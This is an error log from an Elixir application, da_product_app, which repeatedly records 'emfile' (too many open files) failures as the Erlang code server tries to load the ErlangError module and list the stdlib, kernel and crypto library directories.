[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.854000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.855000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.856000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.857000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.857000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.857000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.857000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.857000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.857000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.858000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.858000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.858000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.858000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.858000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.859000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.859000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.859000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.860000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.861000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.861000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.861000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.862000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.863000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.864000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
